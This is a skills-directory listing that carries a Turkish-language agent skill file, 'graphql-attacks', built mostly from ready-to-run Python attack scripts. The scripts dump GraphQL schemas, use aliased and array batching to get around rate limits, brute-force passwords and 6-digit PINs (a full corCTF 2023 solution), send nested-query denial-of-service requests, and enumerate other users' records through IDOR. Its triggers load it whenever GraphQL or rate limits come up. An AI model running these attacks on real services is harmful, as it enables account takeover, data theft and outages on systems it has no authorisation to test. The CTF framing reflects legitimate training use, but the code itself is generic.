Skip to content
Back to skills

Graphql Attacks

ASecurity

GraphQL saldırıları — introspection, aliased query batching, rate limit bypass

  • 4 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added September 12, 2026
developmentpythongobashgit

Security analysis

A96/100
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro scans all 2 files and shows the line behind each finding

Scanned September 12, 2026

npx -y skills add aibot88/sec_skill_store --skill graphql-attacks --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Graphql Attacks?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Graphql Attacks
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/aibot88-graphql-attacks/badge)](https://www.skillsdirectory.com/skills/aibot88-graphql-attacks)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: graphql-attacks
description: GraphQL saldırıları — introspection, aliased query batching, rate limit bypass
tags: [ctf, web, graphql, introspection, batching, rate-limit-bypass, brute-force]
triggers:
  - "GraphQL"
  - "graphql endpoint"
  - "/graphql"
  - "query {"
  - "mutation {"
  - "rate limit"
  - "pin brute force"
  - "aliased queries"
difficulty: medium
category: web
solved_challenges:
  - "corCTF 2023 - force (Fastify+Mercurius, 10000 alias/request ile 10^5 PIN brute)"
---

# GraphQL Saldırıları

## GraphQL Introspection (Şema Keşfi)

Introspection ile tüm query/mutation/type bilgisini çek. Uygulamalar bunu kapatmayı unutabilir.

```python
import requests
import json

TARGET = "http://<IP>:<PORT>/graphql"

# Standart introspection query
INTROSPECTION_QUERY = """
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      locations
      args { ...InputValue }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args { ...InputValue }
    type { ...TypeRef }
    isDeprecated
    deprecationReason
  }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated: true) {
    name
    isDeprecated
  }
  possibleTypes { ...TypeRef }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
      }
    }
  }
}
"""


def introspect(url, headers=None):
    """GraphQL şemasını çek ve yazdır"""
    if headers is None:
        headers = {"Content-Type": "application/json"}

    r = requests.post(url, json={"query": INTROSPECTION_QUERY}, headers=headers)

    if r.status_code != 200:
        print(f"[!] Introspection başarısız: {r.status_code}")
        print(r.text[:300])
        return None

    data = r.json()

    if "errors" in data:
        print("[!] Introspection kapalı veya hata:", data["errors"])
        return None

    schema = data["data"]["__schema"]

    print(f"[*] Query tipi: {schema['queryType']}")
    print(f"[*] Mutation tipi: {schema['mutationType']}")
    print(f"\n[*] Tüm tipler:")
    for t in schema["types"]:
        if not t["name"].startswith("__"):
            print(f"    {t['kind']}: {t['name']}")
            if t.get("fields"):
                for f in t["fields"]:
                    args = ", ".join(a["name"] for a in f.get("args", []))
                    print(f"        .{f['name']}({args})")

    return schema


# Introspection'ı başlat
schema = introspect(TARGET)
```

### Kısmi Introspection (Kapalıysa Field Suggestion)

```python
import requests

TARGET = "http://<IP>:<PORT>/graphql"

# Introspection kapalı olsa bile __type ile tek tip sorgulayabilirsin
r = requests.post(TARGET, json={
    "query": '{ __type(name: "User") { name fields { name type { name } } } }'
})
print(r.json())

# Field suggestion: yanlış alan adı yaz, GraphQL "Did you mean X?" der
r = requests.post(TARGET, json={
    "query": '{ user { passw } }'  # "passw" yok ama "password" varsa öneri gelir
})
print(r.text)
```

---

## Aliased Query Batching ile Rate Limit Bypass

GraphQL, tek request'te birden fazla query çalıştırmaya izin verir — alias kullanarak. Rate limit IP başına request sayısını sayıyorsa, 10000 alias = 10000 deneme = 1 request.

### Temel Batching

```python
import requests

TARGET = "http://<IP>:<PORT>/graphql"

# Tek request'te birden fazla query (array batching)
batch_query = [
    {"query": 'query { user(id: 1) { name } }'},
    {"query": 'query { user(id: 2) { name } }'},
    {"query": 'mutation { login(username:"admin", password:"pass1") { token } }'},
]

r = requests.post(TARGET, json=batch_query)
print(r.json())
```

### Alias Batching

```python
import requests

TARGET = "http://<IP>:<PORT>/graphql"

# Alias ile aynı mutation'ı farklı argümanlarla çalıştır
# Rate limit 1 request = 1 deneme sayıyorsa, her alias ayrı denemedir

passwords = ["password", "admin", "123456", "letmein", "qwerty"]

aliases = "\n".join([
    f'  attempt_{i}: login(username: "admin", password: "{pwd}") {{ token success }}'
    for i, pwd in enumerate(passwords)
])

query = f"mutation {{\n{aliases}\n}}"
print("Query:")
print(query)

r = requests.post(TARGET, json={"query": query})
data = r.json()

for i, pwd in enumerate(passwords):
    result = data["data"].get(f"attempt_{i}", {})
    if result.get("success") or result.get("token"):
        print(f"[!] BULUNDU: password={pwd}, token={result.get('token')}")
```

---

## corCTF 2023 — force Tam Python Kodu

**Senaryo:** Fastify + Mercurius GraphQL sunucusu. 6 haneli PIN (10^6 olasılık). Rate limit request bazlı. Tek request'e 10000 alias sığdırılıyor → 100 request ile tüm uzay taranıyor.

```python
#!/usr/bin/env python3
"""
corCTF 2023 - force
GraphQL aliased batching ile 10^6 PIN brute force
100 request x 10000 alias = 1.000.000 deneme
"""

import requests
import json

TARGET = "http://<HEDEF_IP>:<PORT>/graphql"
USERNAME = "admin"
ALIASES_PER_REQUEST = 10000

SESSION = requests.Session()
# SESSION.proxies = {"http": "http://127.0.0.1:8080"}


def build_pin_query(pin_start, count):
    """pin_start'tan itibaren 'count' adet PIN'i tek sorguda dene"""
    aliases = []
    for i in range(count):
        pin = pin_start + i
        if pin > 999999:
            break
        # PIN 6 hane, leading zero ile
        pin_str = f"{pin:06d}"
        alias = f"  p{pin_str}: login(username: \"{USERNAME}\", pin: \"{pin_str}\") {{ success token flag }}"
        aliases.append(alias)

    query = "mutation {\n" + "\n".join(aliases) + "\n}"
    return query


def check_response(data, pin_start, count):
    """Response'da başarılı giriş ara"""
    for i in range(count):
        pin = pin_start + i
        if pin > 999999:
            break
        pin_str = f"{pin:06d}"
        result = data.get(f"p{pin_str}", {})
        if result and (result.get("success") or result.get("token") or result.get("flag")):
            return pin_str, result
    return None, None


def main():
    print(f"[*] Hedef: {TARGET}")
    print(f"[*] Toplam deneme: 1.000.000 PIN")
    print(f"[*] Request başına alias: {ALIASES_PER_REQUEST}")
    print(f"[*] Toplam request: {1000000 // ALIASES_PER_REQUEST}")
    print()

    for batch_num in range(1000000 // ALIASES_PER_REQUEST):
        pin_start = batch_num * ALIASES_PER_REQUEST

        query = build_pin_query(pin_start, ALIASES_PER_REQUEST)

        print(f"[*] Batch {batch_num + 1}: PIN {pin_start:06d} - {pin_start + ALIASES_PER_REQUEST - 1:06d}", end=" ... ")

        try:
            r = SESSION.post(
                TARGET,
                json={"query": query},
                headers={"Content-Type": "application/json"},
                timeout=30
            )

            if r.status_code != 200:
                print(f"HATA: {r.status_code}")
                continue

            data = r.json().get("data", {})

            found_pin, result = check_response(data, pin_start, ALIASES_PER_REQUEST)
            if found_pin:
                print(f"\n[!!!] PIN BULUNDU: {found_pin}")
                print(f"      Sonuç: {json.dumps(result, indent=2)}")
                return

            print("OK")

        except requests.exceptions.Timeout:
            print("TIMEOUT — tekrar deniyor...")
            # Aynı batch'i tekrar dene
            batch_num -= 1
            continue
        except Exception as e:
            print(f"HATA: {e}")

    print("[*] Tüm PIN'ler denendi, bulunamadı.")


if __name__ == "__main__":
    main()
```

### Mercurius Özel: Array Batch + Alias Kombinasyonu

```python
# Mercurius hem array batch hem alias destekler
# Bunları birleştirince çarpım etkisi:
# 10 array batch x 1000 alias = 10000 deneme / request

import requests

TARGET = "http://<IP>:<PORT>/graphql"

def mega_batch(pin_start, aliases_per=1000, arrays=10):
    batch = []
    for arr_idx in range(arrays):
        start = pin_start + arr_idx * aliases_per
        aliases = "\n".join([
            f'  p{(start+i):06d}: login(pin: "{(start+i):06d}") {{ success flag }}'
            for i in range(aliases_per)
            if start + i <= 999999
        ])
        batch.append({"query": f"mutation {{\n{aliases}\n}}"})
    return batch

r = requests.post(TARGET, json=mega_batch(0))
print(r.status_code, r.text[:200])
```

---

## Diğer GraphQL Saldırıları

### Depth Limit Bypass (DoS)

```python
import requests

TARGET = "http://<IP>:<PORT>/graphql"

# Nested query ile DoS (depth limit yoksa)
nested = "user { friends { friends { friends { friends { name } } } } }"
r = requests.post(TARGET, json={"query": f"{{ {nested} }}"})
print(r.status_code)
```

### Field Suggestion ile Keşif

```python
# "Did you mean X?" mesajlarını kullan
import requests

TARGET = "http://<IP>:<PORT>/graphql"

fields_to_probe = ["pass", "passwd", "pwd", "secret", "flag", "key", "token", "auth"]
for field in fields_to_probe:
    r = requests.post(TARGET, json={"query": f'{{ user {{ {field} }} }}'})
    if "Did you mean" in r.text or "suggestion" in r.text.lower():
        print(f"[*] '{field}' için öneri:", r.json())
```

### IDOR via GraphQL

```python
import requests

TARGET = "http://<IP>:<PORT>/graphql"

# Kendi token'ın ile başka kullanıcıların datasına eriş
headers = {"Authorization": "Bearer <senin_tokenin>"}

for user_id in range(1, 100):
    r = requests.post(
        TARGET,
        json={"query": f'{{ user(id: {user_id}) {{ id username email flag }} }}'},
        headers=headers
    )
    data = r.json().get("data", {}).get("user", {})
    if data and data.get("flag"):
        print(f"[!] Flag bulundu user_id={user_id}: {data['flag']}")
    elif data:
        print(f"    user_id={user_id}: {data}")
```

---

## Araçlar

### graphql-map (Otomatik Introspection + Query Build)

```bash
# Kurulum
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
pip3 install -r requirements.txt

# Kullanım
python3 graphqlmap.py -u http://<IP>/graphql --method POST
```

### clairvoyance (Introspection Kapalıyken Şema Tahmin)

```bash
# Kurulum
pip3 install clairvoyance

# Kullanım (introspection kapalı endpoint için field tahmin)
clairvoyance http://<IP>/graphql -o schema.json

# Wordlist ile
clairvoyance http://<IP>/graphql -o schema.json -w /usr/share/wordlists/rockyou.txt
```

### Burp Suite ile Manuel Keşif

```
1. Burp'ta /graphql endpoint'ini bul
2. Sağ tık → Send to Repeater
3. Content-Type: application/json yap
4. Body: {"query": "{ __typename }"} — sunucu graphql mi?
5. InQL Burp extension ile introspection otomatik yap
```

---

## Tuzaklar

- **Introspection kapalı:** Field suggestion hâlâ çalışabilir. `clairvoyance` veya elle probe et.
- **10000 alias memory sınırı:** Mercurius/Apollo'da alias limiti olabilir. 429 veya 400 dönüyorsa sayıyı azalt (örn. 1000).
- **Rate limit IP değil token bazlı:** Alias batching işe yaramaz. Farklı token oluşturma / hesap oluşturma bak.
- **Mutation batching kapalı:** Query batching açık olabilir. Sadece okuma operasyonları ile farklı bir yol ara.
- **POST yerine GET:** Bazı GraphQL endpoint'leri GET de destekler: `/graphql?query={user{name}}`
- **CSRF + GraphQL:** Content-Type kontrolü yoksa CSRF ile mutation tetiklenebilir.

Files in this skill

  • SKILL.md11.3 KB
  • source.json605 B

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.